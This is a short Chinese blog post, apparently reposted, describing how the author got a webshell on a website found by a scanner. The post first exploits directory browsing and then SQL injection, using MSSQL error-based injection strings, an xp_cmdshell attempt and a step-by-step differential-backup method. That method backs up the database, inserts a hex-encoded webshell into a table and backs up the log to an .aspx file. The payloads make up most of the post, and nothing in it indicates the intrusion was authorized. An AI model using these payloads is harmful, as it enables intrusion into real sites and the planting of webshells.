一次差异备份拿shell过程
0x00 前言扫描器扫到了某个网站存在目录浏览,于是便有了本文。。。 知识点科普: 1. 目录浏览
2.差异备份条件
0x01 正文站点配置不当,导致目录浏览,通过查看首页的源代码,翻到了几个目录 但是通常目录下的文件是需要传递参数去执行的,我们并不知道参数名,所以并没办法利用辗转后到前台登录界面查看 那么前面登录口处存在注入,后台一般也有很多注入的啦,尝试找一下,如果有的话,配合绝对路径可以进行getshell okok,发现注入啦,但到目前为止并不知道数据库是什么类型,一般aspx+mssql,由于前面发现是可以报错的,那么尝试使用mssql的报错方式 %' and 1=@@version --a mssql数据库,查看一下当前的用户身份 %' and 1=user --a dbo的权限并不是sa,尝试一下xp_cmdshell %';exec('master..xp_cmdshell whoami') --a 并没有开启xp_cmdshell,且dbo的权限是不足以开启xp_cmdshell的,那么只能尝试使用差异备份的方式来写入一个webshell 1. 获取当前数据库名称%' and 1=db_name() --a 2. 对当前数据库进行备份%';backup database 数据库名称 to disk = '绝对路径' with init --a 如果成功备份,则网页返回%'的查询结果(因为是堆叠且后面语句的执行并不会有返回结果) 3.创建表格,并写入webshell%';create table cmd(a image) --a %';insert into cmd(a) values (0xxxxx) --a //webshell的hex值 可以用网上的工具,笔者用以前自己开发的小工具 4.进行第二次备份%';backup log 数据库名称 to disk = '绝对路径abc.aspx'-- 这里我将webshell写入子目录中,因为有目录浏览,能确切看到文件是否产生 创建成功后,尝试连接 0x02 后续
(编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |